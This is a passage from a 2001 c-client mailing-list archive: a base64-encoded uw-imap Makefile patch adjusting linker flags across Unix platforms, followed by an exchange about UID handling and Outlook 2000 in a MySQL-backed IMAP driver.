ZW50LmEiIFwNCiAJIEJBU0VDRkxBR1M9Ii1nIC1PIg0KIA0KIG5lYjoJIyBO ZXRCU0QNCkBAIC00MzYsNyArNDYyLDcgQEANCiAJIEFDVElWRUZJTEU9L3Zh ci9kYi9uZXdzL2FjdGl2ZSBcDQogCSBSU0hQQVRIPS91c3IvYmluL3JzaCBc DQogCSBCQVNFQ0ZMQUdTPSItZyAtTyAtcGlwZSIgXA0KLQkgQkFTRUxERkxB R1M9Ii1sY3J5cHQiDQorCSBCQVNFTERGTEFHUz0iLi4vYy1jbGllbnQvYy1j bGllbnQuYSAtbGNyeXB0Ig0KIA0KIG5lYzoJIyBORUMgVVgNCiAJJChCVUlM RCkgYGNhdCBFWFRSQVNQRUNJQUxTYCBPUz1zdjQgXA0KQEAgLTQ0NSwxNyAr NDcxLDE5IEBADQogCSBBQ1RJVkVGSUxFPS92YXIvbmV3cy9saWIvYWN0aXZl IFwNCiAJIFJTSFBBVEg9L3Vzci9iaW4vcnNoIFwNCiAJIEJBU0VDRkxBR1M9 Ii1nIC1Lb3B0PTIgLUtPbGltaXQ9MjAwMCIgXA0KLQkgQkFTRUxERkxBR1M9 Ii1sc29ja2V0IC1sbnNsIC1sZ2VuIiBcDQorCSBCQVNFTERGTEFHUz0iLi4v Yy1jbGllbnQvYy1jbGllbnQuYSAtbHNvY2tldCAtbG5zbCAtbGdlbiIgXA0K IAkgUkFOTElCPXRydWUgQ0M9L3Vzci9hYmljY3MvYmluL2NjDQogDQogbnh0 OgkjIE5FWFRTVEVQDQogCSQoQlVJTEQpIGBjYXQgRVhUUkFTUEVDSUFMU2Ag T1M9JEAgXA0KIAkgQ1JYVFlQRT1uZnMgXA0KKwkgQkFTRUxERkxBR1M9Ii4u L2MtY2xpZW50L2MtY2xpZW50LmEiIFwNCiAJIEJBU0VDRkxBR1M9Ii1nIC1P IC1waXBlIg0KIA0KIG54MzoJIyBORVhUU1RFUCAzLjAgc2luZ2xlIHRocmVh ZGVkDQogCSQoQlVJTEQpIGBjYXQgRVhUUkFTUEVDSUFMU2AgT1M9bnh0IFwN CiAJIENSWFRZUEU9bmZzIFwNCisJIEJBU0VMREZMQUdTPSIuLi9jLWNsaWVu dC9jLWNsaWVudC5hIiBcDQogCSBCQVNFQ0ZMQUdTPSItZyAtTyAtcGlwZSAt V2FsbCINCiAJZWNobyAidm9pZCBtYWxsb2Nfc2luZ2xldGhyZWFkZWQgKHZv aWQpOyIgPj4gbGlua2FnZS5oDQogCWVjaG8gIiAgbWFsbG9jX3NpbmdsZXRo cmVhZGVkICgpOyIgPj4gbGlua2FnZS5jDQpAQCAtNDY0LDYgKzQ5Miw3IEBA DQogCSQoQlVJTEQpIGBjYXQgRVhUUkFTUEVDSUFMU2AgT1M9JEAgXA0KIAkg U0lHVFlQRT1wc3ggQ1JYVFlQRT1uZnMgXA0KIAkgU1BPT0xESVI9L3Zhci9z cG9vbCBcDQorCSBCQVNFTERGTEFHUz0iLi4vYy1jbGllbnQvYy1jbGllbnQu YSIgXA0KIAkgQkFTRUNGTEFHUz0iLWczIC1PMiAtT2xpbWl0IDE1MDAiDQog DQogIyBOb3RlOiBzaWFfYmVjb21lX3VzZXIoKSB1c2VkIGJ5IExPR0lOUFc9 b3M0IGRvZXNuJ3Qgc2VlbSB0byB3b3JrIHJpZ2h0LiAgVGhlDQpAQCAtNDcz LDYgKzUwMiw3IEBADQogCSQoQlVJTEQpIGBjYXQgRVhUUkFTUEVDSUFMU2Ag T1M9JEAgXA0KIAkgU0lHVFlQRT1wc3ggQ0hFQ0tQVz1vczQgTE9HSU5QVz1v czQgQ1JYVFlQRT1uZnMgXA0KIAkgU1BPT0xESVI9L3Zhci9zcG9vbCBcDQor CSBCQVNFTERGTEFHUz0iLi4vYy1jbGllbnQvYy1jbGllbnQuYSIgXA0KIAkg QkFTRUNGTEFHUz0iLWczIC1zdGQwIC1PMiINCiANCiBwdHg6CSMgUFRYDQpA QCAtNDgxLDEyICs1MTEsMTMgQEANCiAJIE1BSUxTUE9PTD0vdXNyL21haWwg XA0KIAkgUlNIUEFUSD0vdXNyL2Jpbi9yZXNoIFwNCiAJIEJBU0VDRkxBR1M9 Ii1XYywtTzMgLVdjLC1zZXEgLURwcml2YXRlPVBSSVZBVEUiIFwNCi0JIEJB U0VMREZMQUdTPSItbHNlcSAtbHNlYyAtbHNvY2tldCAtbGluZXQgLWxuc2wg LWxnZW4iIFwNCisJIEJBU0VMREZMQUdTPSIuLi9jLWNsaWVudC9jLWNsaWVu dC5hIC1sc2VxIC1sc2VjIC1sc29ja2V0IC1saW5ldCAtbG5zbCAtbGdlbiIg XA0KIAkgUkFOTElCPXRydWUNCiANCiBweXI6CSMgUHlyYW1pZA0KIAkkKEJV SUxEKSBgY2F0IEVYVFJBU1BFQ0lBTFNgIE9TPSRAIFwNCiAJIENSWFRZUEU9 bmZzIFwNCisJIEJBU0VMREZMQUdTPSIuLi9jLWNsaWVudC9jLWNsaWVudC5h IiBcDQogCSBCQVNFQ0ZMQUdTPSItZyAtRGNvbnN0PSINCiANCiBxbng6CSMg UU5YDQpAQCAtNDk0LDExICs1MjUsMTIgQEANCiAJIENIRUNLUFc9cHN4IExP R0lOUFc9b2xkIFwNCiAJIFJTSFBBVEg9L3Vzci91Y2IvcnNoIFwNCiAJIEJB U0VDRkxBR1M9Ii1PdGF4IC1nIC1EdW5peD0xIC1EX1BPU0lYX1NPVVJDRSIg XA0KLQkgQkFTRUxERkxBR1M9Ii1nIC1OMTI4ayAtbGxvZ2luIC1sc29ja2V0 IC1sdW5peCINCisJIEJBU0VMREZMQUdTPSIuLi9jLWNsaWVudC9jLWNsaWVu dC5hIC1nIC1OMTI4ayAtbGxvZ2luIC1sc29ja2V0IC1sdW5peCINCiANCiBz NDA6CSMgU1VOLU9TIDQuMA0KIAkkKEJVSUxEKSBgY2F0IEVYVFJBU1BFQ0lB TFNgIE9TPSRAIFwNCiAJIENSWFRZUEU9bmZzIFwNCisJIEJBU0VMREZMQUdT PSIuLi9jLWNsaWVudC9jLWNsaWVudC5hIiBcDQogCSBCQVNFQ0ZMQUdTPSIt ZyAtRGNvbnN0PSINCiANCiBzYzU6CSMgU0NPIE9wZW4gU2VydmVyIDUuMA0K QEAgLTUwOSw3ICs1NDEsNyBAQA0KIAkgQUNUSVZFRklMRT0vdmFyL2xpYi9u ZXdzL2FjdGl2ZSBcDQogCSBSU0hQQVRIPS91c3IvYmluL3JjbWQgXA0KIAkg QkFTRUNGTEFHUz0iLU8zIC1zIiBcDQotCSBCQVNFTERGTEFHUz0iLWxzb2Nr ZXQgLWxjcnlwdCAtbHByb3QgLWx4IC1sdGluZm8gLWxtIiBcDQorCSBCQVNF TERGTEFHUz0iLi4vYy1jbGllbnQvYy1jbGllbnQuYSAtbHNvY2tldCAtbGNy eXB0IC1scHJvdCAtbHggLWx0aW5mbyAtbG0iIFwNCiAJIFJBTkxJQj10cnVl DQogDQogc2NvOgkjIFNhbnRhIENydXogT3BlcmF0aW9uDQpAQCAtNTE4LDcg KzU1MCw3IEBADQogCSBDUkVBVEVQUk9UTz1tbWRmcHJvdG8gRU1QVFlQUk9U Tz1tbWRmcHJvdG8gXA0KIAkgUlNIUEFUSD0vdXNyL2Jpbi9yY21kIFwNCiAJ IEJBU0VDRkxBR1M9Ii1PMyIgXA0KLQkgQkFTRUxERkxBR1M9Ii1sc29ja2V0 IC1scHJvdCAtbGNyeXB0X2kgLWx4IC1sb3MiIFwNCisJIEJBU0VMREZMQUdT PSIuLi9jLWNsaWVudC9jLWNsaWVudC5hIC1sc29ja2V0IC1scHJvdCAtbGNy eXB0X2kgLWx4IC1sb3MiIFwNCiAJIFJBTkxJQj10cnVlIExOPWxuDQogDQog IyBOb3RlczoNCkBAIC01MzEsNiArNTYzLDcgQEANCiAJIFNJR1RZUEU9c3Y0 IENSWFRZUEU9bmZzIFwNCiAJIE1BSUxTUE9PTD0vdXNyL21haWwgXA0KIAkg UlNIUEFUSD0vdXNyL2JzZC9yc2ggXA0KKwkgQkFTRUxERkxBR1M9Ii4uL2Mt Y2xpZW50L2MtY2xpZW50LmEiIFwNCiAJIEJBU0VDRkxBR1M9Ii1nMyAtTzIg LU9saW1pdCA4MTkyIiBcDQogCSBSQU5MSUI9dHJ1ZQ0KIA0KQEAgLTUzOSw2 ICs1NzIsNyBAQA0KIAkgU0lHVFlQRT1zdjQgQ1JYVFlQRT1uZnMgXA0KIAkg TUFJTFNQT09MPS91c3IvbWFpbCBcDQogCSBSU0hQQVRIPS91c3IvYnNkL3Jz aCBcDQorCSBCQVNFTERGTEFHUz0iLi4vYy1jbGllbnQvYy1jbGllbnQuYSIg XA0KIAkgQkFTRUNGTEFHUz0iLWczIC1PMiAtd29mZiAxMDQ4LDExMTAsMTEx NiIgXA0KIAkgUkFOTElCPXRydWUNCiANCkBAIC01NTEsNyArNTg1LDcgQEAN CiAJIEFDVElWRUZJTEU9L3Zhci9uZXdzL2FjdGl2ZSBcDQogCSBSU0hQQVRI PS91c3IvYmluL3JlbXNoIFwNCiAJIEJBU0VDRkxBR1M9Ii1nIC1BZSIgXA0K LQkgQkFTRUxERkxBR1M9Ii1sbmV0IC1sVjMgLWxzZWMiIFwNCisJIEJBU0VM REZMQUdTPSIuLi9jLWNsaWVudC9jLWNsaWVudC5hIC1sbmV0IC1sVjMgLWxz ZWMiIFwNCiAJIFJBTkxJQj10cnVlDQogDQogc2x4OgkjIFNlY3VyZSBMaW51 eA0KQEAgLTU2NCw3ICs1OTgsNyBAQA0KIAkgQUNUSVZFRklMRT0vdmFyL2xp Yi9uZXdzL2FjdGl2ZSBcDQogCSBSU0hQQVRIPS91c3IvYmluL3JzaCBcDQog CSBCQVNFQ0ZMQUdTPSItZyAtZm5vLW9taXQtZnJhbWUtcG9pbnRlciAtTzYi IFwNCi0JIEJBU0VMREZMQUdTPSItbGNyeXB0Ig0KKwkgQkFTRUxERkxBR1M9 Ii4uL2MtY2xpZW50L2MtY2xpZW50LmEgLWxjcnlwdCINCiANCiBzbDQ6CSMg U2VjdXJlIExpbnV4IHVzaW5nIGxpYmM0DQogCUBlY2hvIFlvdSBhcmUgYnVp bGRpbmcgZm9yIGxpYmM0IHZlcnNpb25zIG9mIFNlY3VyZSBMaW51eA0KQEAg LTU3Niw3ICs2MTAsNyBAQA0KIAkgQUNUSVZFRklMRT0vdmFyL2xpYi9uZXdz L2FjdGl2ZSBcDQogCSBSU0hQQVRIPS91c3IvYmluL3JzaCBcDQogCSBCQVNF Q0ZMQUdTPSItZyAtZm5vLW9taXQtZnJhbWUtcG9pbnRlciAtTzYiIFwNCi0J IEJBU0VMREZMQUdTPSItbHNoYWRvdyINCisJIEJBU0VMREZMQUdTPSIuLi9j LWNsaWVudC9jLWNsaWVudC5hIC1sc2hhZG93Ig0KIA0KIHNsNToJIyBTZWN1 cmUgTGludXggdXNpbmcgbGliYzUNCiAJQGVjaG8gWW91IGFyZSBidWlsZGlu ZyBmb3IgbGliYzUgdmVyc2lvbnMgb2YgU2VjdXJlIExpbnV4DQpAQCAtNTg3 LDYgKzYyMSw3IEBADQogCSBTUE9PTERJUj0vdmFyL3Nwb29sIFwNCiAJIEFD VElWRUZJTEU9L3Zhci9saWIvbmV3cy9hY3RpdmUgXA0KIAkgUlNIUEFUSD0v dXNyL2Jpbi9yc2ggXA0KKwkgQkFTRUxERkxBR1M9Ii4uL2MtY2xpZW50L2Mt Y2xpZW50LmEiIFwNCiAJIEJBU0VDRkxBR1M9Ii1nIC1mbm8tb21pdC1mcmFt ZS1wb2ludGVyIC1PNiINCiANCiBzbng6CSMgU2llbWVucyBOaXhkb3JmIFNJ TklYIGFuZCBSZWxpYW50IFVOSVgNCkBAIC01OTYsNyArNjMxLDcgQEANCiAJ IEFDVElWRUZJTEU9L3Vzci9zaGFyZS9uZXdzL2FjdGl2ZSBcDQogCSBSU0hQ QVRIPS91c3IvYmluL3JzaCBcDQogCSBCQVNFQ0ZMQUdTPSItZyAtRF9TWVNf Q0xPQ0tfSCAtRGNvbnN0PSIgXA0KLQkgQkFTRUxERkxBR1M9Ii1sc29ja2V0 IC1sbnNsIC1sZ2VuIiBcDQorCSBCQVNFTERGTEFHUz0iLi4vYy1jbGllbnQv Yy1jbGllbnQuYSAtbHNvY2tldCAtbG5zbCAtbGdlbiIgXA0KIAkgUkFOTElC PXRydWUNCiANCiAjIE5vdGU6IEl0IGlzIGEgbG9uZyBhbmQgZGlzZ3VzdGlu ZyBzdG9yeSBhYm91dCB3aHkgY2MgaXMgc2V0IHRvIHVjYmNjLiAgWW91DQpA QCAtNjQxLDI2ICs2NzYsMjYgQEANCiAJIEFDVElWRUZJTEU9L3Vzci9zaGFy ZS9uZXdzL2FjdGl2ZSBcDQogCSBSU0hQQVRIPS91c3IvYmluL3JzaCBcDQog CSBCQVNFQ0ZMQUdTPSItZyAtTzIiIFwNCi0JIEJBU0VMREZMQUdTPSItbHNv Y2tldCAtbG5zbCAtbGdlbiIgXA0KKwkgQkFTRUxERkxBR1M9Ii4uL2MtY2xp ZW50L2MtY2xpZW50LmEgLWxzb2NrZXQgLWxuc2wgLWxnZW4iIFwNCiAJIFJB TkxJQj10cnVlIENDPXVjYmNjDQogDQogc29zOgkjIFNlY3VyZSBPU0YvMQ0K IAkkKEJVSUxEKSBgY2F0IEVYVFJBU1BFQ0lBTFNgIE9TPSRAIFwNCiAJIFNJ R1RZUEU9cHN4IENIRUNLUFc9c2VjIExPR0lOUFc9c2VjIENSWFRZUEU9bmZz IFwNCiAJIEJBU0VDRkxBR1M9Ii1nMyAtTzIgLU9saW1pdCAxNTAwIiBcDQot CSBCQVNFTERGTEFHUz0iLWxzZWN1cml0eSAtbGF1ZCINCisJIEJBU0VMREZM QUdTPSIuLi9jLWNsaWVudC9jLWNsaWVudC5hIC1sc2VjdXJpdHkgLWxhdWQi DQogDQogc3NuOgkjIFNlY3VyZSBTVU4tT1MNCiAJJChCVUlMRCkgYGNhdCBF WFRSQVNQRUNJQUxTYCBPUz1zdW4gXA0KIAkgQ0hFQ0tQVz1zc24gQ1JYVFlQ RT1uZnMgXA0KIAkgQkFTRUNGTEFHUz0iLWcgLURjb25zdD0iIFwNCi0JIEJB U0VMREZMQUdTPSItbGRsIg0KKwkgQkFTRUxERkxBR1M9Ii4uL2MtY2xpZW50 L2MtY2xpZW50LmEgLWxkbCINCiANCiBzdW46CSMgU1VOLU9TDQogCSQoQlVJ TEQpIGBjYXQgRVhUUkFTUEVDSUFMU2AgT1M9JEAgXA0KIAkgQ1JYVFlQRT1u ZnMgXA0KIAkgQkFTRUNGTEFHUz0iLWcgLURjb25zdD0iIFwNCi0JIEJBU0VM REZMQUdTPSItbGRsIg0KKwkgQkFTRUxERkxBR1M9Ii4uL2MtY2xpZW50L2Mt Y2xpZW50LmEgLWxkbCINCiANCiBzdjI6CSMgU1ZSMg0KIAlAZWNobyBZb3Ug YXJlIGJlaW5nICp2ZXJ5KiBvcHRpbWlzdGljIQ0KQEAgLTY2OSw3ICs3MDQs NyBAQA0KIAkgTUFJTFNQT09MPS91c3IvbWFpbCBcDQogCSBSU0hQQVRIPS91 c3IvYmluL3JlbXNoIFwNCiAJIEJBU0VDRkxBR1M9Ii1EY29uc3Q9IC1EU1lT VEVNNSAtRFNIT1JUX0lERU5UIC1JL3Vzci9ldGhlcm5ldC9pbmNsdWRlIiBc DQotCSBCQVNFTERGTEFHUz0iLWxuZXQiIFwNCisJIEJBU0VMREZMQUdTPSIu Li9jLWNsaWVudC9jLWNsaWVudC5hIC1sbmV0IiBcDQogCSBSQU5MSUI9dHJ1 ZSBMTj1sbg0KIA0KIHN2NDoJIyBTVlI0DQpAQCAtNjc5LDE0ICs3MTQsMTQg QEANCiAJIEFDVElWRUZJTEU9L3Vzci9zaGFyZS9uZXdzL2FjdGl2ZSBcDQog CSBSU0hQQVRIPS91c3IvYmluL3Jlc2ggXA0KIAkgQkFTRUNGTEFHUz0iLWcg LURjb25zdD0iIFwNCi0JIEJBU0VMREZMQUdTPSItbHNvY2tldCAtbG5zbCAt bGdlbiIgXA0KKwkgQkFTRUxERkxBR1M9Ii4uL2MtY2xpZW50L2MtY2xpZW50 LmEgLWxzb2NrZXQgLWxuc2wgLWxnZW4iIFwNCiAJIFJBTkxJQj10cnVlDQog DQogdWx0OgkjIFVsdHJpeA0KIAkkKEJVSUxEKSBgY2F0IEVYVFJBU1BFQ0lB TFNgIE9TPSRAIFwNCiAJIFNJR1RZUEU9cHN4IENIRUNLUFc9dWx0IENSWFRZ UEU9bmZzIFwNCiAJIEJBU0VDRkxBR1M9Ii1nMyAtTzIgLU9saW1pdCAxNTAw IC1EY29uc3Q9IiBcDQotCSBCQVNFTERGTEFHUz0iLWxhdXRoIC1sYyINCisJ IEJBU0VMREZMQUdTPSIuLi9jLWNsaWVudC9jLWNsaWVudC5hIC1sYXV0aCAt bGMiDQogDQogdXcyOgkjIFVuaXhXYXJlIFNWUjQuMg0KIAkkKEJVSUxEKSBg Y2F0IEVYVFJBU1BFQ0lBTFNgIE9TPXN2NCBcDQpAQCAtNjk1LDE4ICs3MzAs MTkgQEANCiAJIEFDVElWRUZJTEU9L3Zhci9uZXdzL2xpYi9hY3RpdmUgXA0K IAkgUlNIUEFUSD0vdXNyL2Jpbi9yc2ggXA0KIAkgQkFTRUNGTEFHUz0iLWci IFwNCi0JIEJBU0VMREZMQUdTPSItbHNvY2tldCAtbG5zbCAtbGdlbiIgXA0K KwkgQkFTRUxERkxBR1M9Ii4uL2MtY2xpZW50L2MtY2xpZW50LmEgLWxzb2Nr ZXQgLWxuc2wgLWxnZW4iIFwNCiAJIFJBTkxJQj10cnVlDQogDQogdnVsOgkj IFZBWCBVbHRyaXgNCiAJJChCVUlMRCkgYGNhdCBFWFRSQVNQRUNJQUxTYCBP Uz11bHQgXA0KIAkgU0lHVFlQRT1wc3ggQ0hFQ0tQVz11bHQgQ1JYVFlQRT1u ZnMgXA0KIAkgQkFTRUNGTEFHUz0iLU8yIC1EY29uc3Q9IiBcDQotCSBCQVNF TERGTEFHUz0iLWxhdXRoIC1sYyINCisJIEJBU0VMREZMQUdTPSIuLi9jLWNs aWVudC9jLWNsaWVudC5hIC1sYXV0aCAtbGMiDQogDQogdnUyOgkjIFZBWCBV bHRyaXggMi4zLCBldGMuDQogCSQoQlVJTEQpIGBjYXQgRVhUUkFTUEVDSUFM U2AgT1M9JEAgXA0KIAkgQ1JYVFlQRT1uZnMgXA0KKwkgQkFTRUxERkxBR1M9 Ii4uL2MtY2xpZW50L2MtY2xpZW50LmEiIFwNCiAJIEJBU0VDRkxBR1M9Ii1P MiAtRGNvbnN0PSAtRHZvaWQ9Y2hhciINCiANCiANCkBAIC03MjQsNyArNzYw LDcgQEANCiAjIENsZWFudXANCiANCiBjbGVhbjoNCi0Jc2ggLWMgJyQoUk0p IGF1dGhzLmMgY3JleGNsLmMgZmxvY2tic2QuYyBsaW5rYWdlLltjaF0gc2ln bG9jYWwuYyBvc2RlcCouW2NoXSAqLm8gQVJDSElWRSAqRkxBR1MgKlRZUEUg JChBUkNISVZFKSB8fCB0cnVlJw0KKwlzaCAtYyAnJChSTSkgYXV0aHMuYyBj cmV4Y2wuYyBmbG9ja2JzZC5jIGxpbmthZ2UuW2NoXSBzaWdsb2NhbC5jIG9z ZGVwKi5bY2hdICoubyBBUkNISVZFIEFSQ0hJVkVOQU1FICpGTEFHUyAqVFlQ RSAkKEFSQ0hJVkUpIHx8IHRydWUnDQogDQogDQogIyBEZXBlbmRlbmNpZXMN CkBAIC04MTQsNiArODUxLDcgQEANCiAJIC1EUlNIUEFUSD1cIiQoUlNIUEFU SClcIiAtRExPQ0tQR009XCIkKExPQ0tQR00pXCIgPiBPU0NGTEFHUw0KIAll Y2hvICQoQkFTRUxERkxBR1MpICQoRVhUUkFMREZMQUdTKSA+IExERkxBR1MN CiAJZWNobyAiJChBUlJDKSAkKEFSQ0hJVkUpICQoQklOQVJJRVMpOyQoUkFO TElCKSAkKEFSQ0hJVkUpIiA+IEFSQ0hJVkUNCisJZWNobyAkKEFSQ0hJVkUp ID4gQVJDSElWRU5BTUUNCiAJLi9kcml2ZXJzICQoRVhUUkFEUklWRVJTKSAk KERFRkFVTFREUklWRVJTKSBkdW1teQ0KIAkuL21rYXV0aHMgJChFWFRSQUFV VEhFTlRJQ0FUT1JTKSAkKERFRkFVTFRBVVRIRU5USUNBVE9SUykNCiAJJChM Tikgb3NfJChPUykuaCBvc2RlcC5oDQotLS0gdXctaW1hcC0yMDAwLm9yaWcv c3JjL210ZXN0L01ha2VmaWxlDQorKysgdXctaW1hcC0yMDAwL3NyYy9tdGVz dC9NYWtlZmlsZQ0KQEAgLTMyLDIwICszMiwyMCBAQA0KIA0KIA0KIEMgPSAu Li9jLWNsaWVudA0KLUNDTElFTlRMSUIgPSAkQy9jLWNsaWVudC5hDQorQ0NM SUVOVExJQiA9ICRDL2BjYXQgJEMvJEFSQ0hJVkVOQU1FYA0KIFNIRUxMID0g L2Jpbi9zaA0KIA0KICMgR2V0IGxvY2FsIGRlZmluaXRpb25zIGZyb20gYy1j bGllbnQgZGlyZWN0b3J5DQogDQogQ0MgPSBgY2F0ICRDL0NDVFlQRWANCiBD RkxBR1MgPSAtSSRDIGBjYXQgJEMvQ0ZMQUdTYA0KLUxERkxBR1MgPSAkKEND TElFTlRMSUIpIGBjYXQgJEMvTERGTEFHU2ANCitMREZMQUdTID0gYGNhdCAk Qy9MREZMQUdTYA0KIA0KIGFsbDoJbXRlc3QNCiANCiBtdGVzdDogJChDQ0xJ RU5UTElCKSBtdGVzdC5vDQogCSQoQ0MpICQoQ0ZMQUdTKSAtbyBtdGVzdCBt dGVzdC5vICQoTERGTEFHUykNCi0NCisJDQogbXRlc3QubzogJEMvbWFpbC5o ICRDL21pc2MuaCAkQy9vc2RlcC5oICRDL3JmYzgyMi5oICRDL3NtdHAuaCAk Qy9ubnRwLmgNCiANCiAkKENDTElFTlRMSUIpOg0K ---1463809023-1158077530-992960782=:6391-- From pinedev@shivax2.cac.washington.edu Tue Jun 19 10:26:56 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Jun 2001 10:26:55 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5JHQsD10825 for ; Tue, 19 Jun 2001 10:26:54 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Jun 19 10:26:53 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JHQpu29821; Tue, 19 Jun 2001 10:26:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5JHQOX30588; Tue, 19 Jun 2001 10:26:24 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JHP7026582 for ; Tue, 19 Jun 2001 10:25:07 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JHP7s03036 for ; Tue, 19 Jun 2001 10:25:07 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JHP7o05856; Tue, 19 Jun 2001 10:25:07 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (bill@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JHP6C00528; Tue, 19 Jun 2001 10:25:06 -0700 Message-Id: Date: Tue, 19 Jun 2001 10:23:25 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Herr Doktor C. Lesser" Cc: c-client@u.washington.edu Subject: re: Are there any c-client driver developers willing to offer advice on fixing my MySQL c-client driver? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 19 Jun 2001 17:05:03 +1000, Herr Doktor C. Lesser wrote: > I am using the database ID field (a > unique static identifier) for my UID field, so there is really no way > that information could have changed. Are your UIDs strictly ascending in the mailbox? Is the UIDNEXT always higher than the last assigned UID? Are you implementing UIDVALIDITY correctly? All of these are requirements which must be followed. From pinedev@shivax2.cac.washington.edu Tue Jun 19 12:46:32 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Jun 2001 12:46:32 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5JJkTD28543 for ; Tue, 19 Jun 2001 12:46:31 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Jun 19 12:46:28 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JJkPC26350; Tue, 19 Jun 2001 12:46:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5JJk7p21820; Tue, 19 Jun 2001 12:46:07 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JJix0129844 for ; Tue, 19 Jun 2001 12:44:59 -0700 Received: from plan69.com (root@plan69.com [216.218.248.79]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JJiwF26678 for ; Tue, 19 Jun 2001 12:44:58 -0700 Received: from gigahz (CPE-203-45-50-143.vic.bigpond.net.au [203.45.50.143]) by plan69.com (8.11.4/3.13.01) with SMTP id f5JJijO24060; Tue, 19 Jun 2001 12:44:45 -0700 (PDT) Message-Id: Date: Wed, 20 Jun 2001 05:44:50 +1000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Herr Doktor C. Lesser" To: "Mark Crispin" Cc: Subject: RE: Are there any c-client driver developers willing to offer advice on fixing my MySQL c-client driver? In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks for you reply Mark, always nice to get it from the horses mouth. However I think I have pinpointed the problem to Outlook 2000. While it's claiming that my IMAP server doesn't contain the folder in question, packet sniffing shows it didn't even connect. That's not to say that there still isn't a problem with my driver, because it is still possible that some piece of cached information it sent previous is causing Outlook to spit the dummy. But I chose to blame Outlook 2000. It's a wonderful email client, but it has a disastrous IMAP implementation. Eg. to delete a message, you have to first download it! That means if you shift-select a page of messages that you want to delete, you have to wait for them all the download first. (shudder). Infact, almost anything you do inside an IMAP folder causes Outlook to pause and download messages. It kind of ruins 1 of the good points of IMAP: keeping your messages offsite so you only have to download the ones you're interested it. And yes, my uid's are strictly ascending, and uid_validity is maintained. One of the beauties of retrieving mail from a SQL d/b is the "order by id" phrase. :) Nearly as good as the "delete all from messages where...." :) Thanks. When I've finished development I'll submit the code for inclusion in c-client, if you think it would be useful. Should be easily portable to any SQL engine. Cyrus -----Original Message----- From: C-CLIENT-owner@u.washington.edu [mailto:C-CLIENT-owner@u.washington.edu]On Behalf Of Mark Crispin Sent: Wednesday, 20 June 2001 3:23 AM To: Herr Doktor C. Lesser Cc: c-client@u.washington.edu Subject: re: Are there any c-client driver developers willing to offer advice on fixing my MySQL c-client driver? On Tue, 19 Jun 2001 17:05:03 +1000, Herr Doktor C. Lesser wrote: > I am using the database ID field (a > unique static identifier) for my UID field, so there is really no way > that information could have changed. Are your UIDs strictly ascending in the mailbox? Is the UIDNEXT always higher than the last assigned UID? Are you implementing UIDVALIDITY correctly? All of these are requirements which must be followed. From pinedev@shivax2.cac.washington.edu Tue Jun 19 15:47:11 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Jun 2001 15:47:08 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5JMl5D01651 for ; Tue, 19 Jun 2001 15:47:06 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Jun 19 15:47:04 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JMl2u10670; Tue, 19 Jun 2001 15:47:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id 